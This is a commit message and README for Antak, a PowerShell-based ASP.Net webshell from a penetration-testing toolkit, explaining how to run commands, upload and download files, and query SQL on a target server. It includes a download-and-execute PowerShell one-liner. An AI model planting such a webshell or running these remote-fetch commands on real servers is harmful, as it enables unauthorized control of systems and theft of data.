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samratashok Antak can now execute SQL queries. Closes Issue #17
This updated adds ability to execute SQL queries to Antak and adds
simple authentication to restrict access to it. It also closes Issue
#17.
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Antak is a webshell written in ASP.Net which utilizes PowerShell. Antak is a part of Nishang and updates can be found here: https://github.com/samratashok/nishang

Use this shell as a normal PowerShell console. Each command is executed in a new process; keep this in mind while using commands (like changing current directory or running session aware scripts).

Executing PowerShell scripts on the target:

  1. Paste the script in command textbox and click 'Encode and Execute." A reasonably large script could be executed using this.

  2. Use PowerShell one-liner (example below) to download & execute in the command box. IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Arguments here]

  3. Upload the script to the target and execute it.

  4. Make the script a semi-colon separated one-liner.

Files can be uploaded and downloaded using the respective buttons:

Uploading a file: To upload a file, you must mention the actual path on the server (with write permissions) in the command text box. (OS temporary directories like C:\Windows\Temp may be writable.) Then, use the browse and upload buttons to upload file to that path.

Downloading a file: To download a file, enter the actual path on the server in the command text box. Then click on Download button.

A detailed blog post on Antak can be found here: http://www.labofapenetrationtester.com/2014/06/introducing-antak.html

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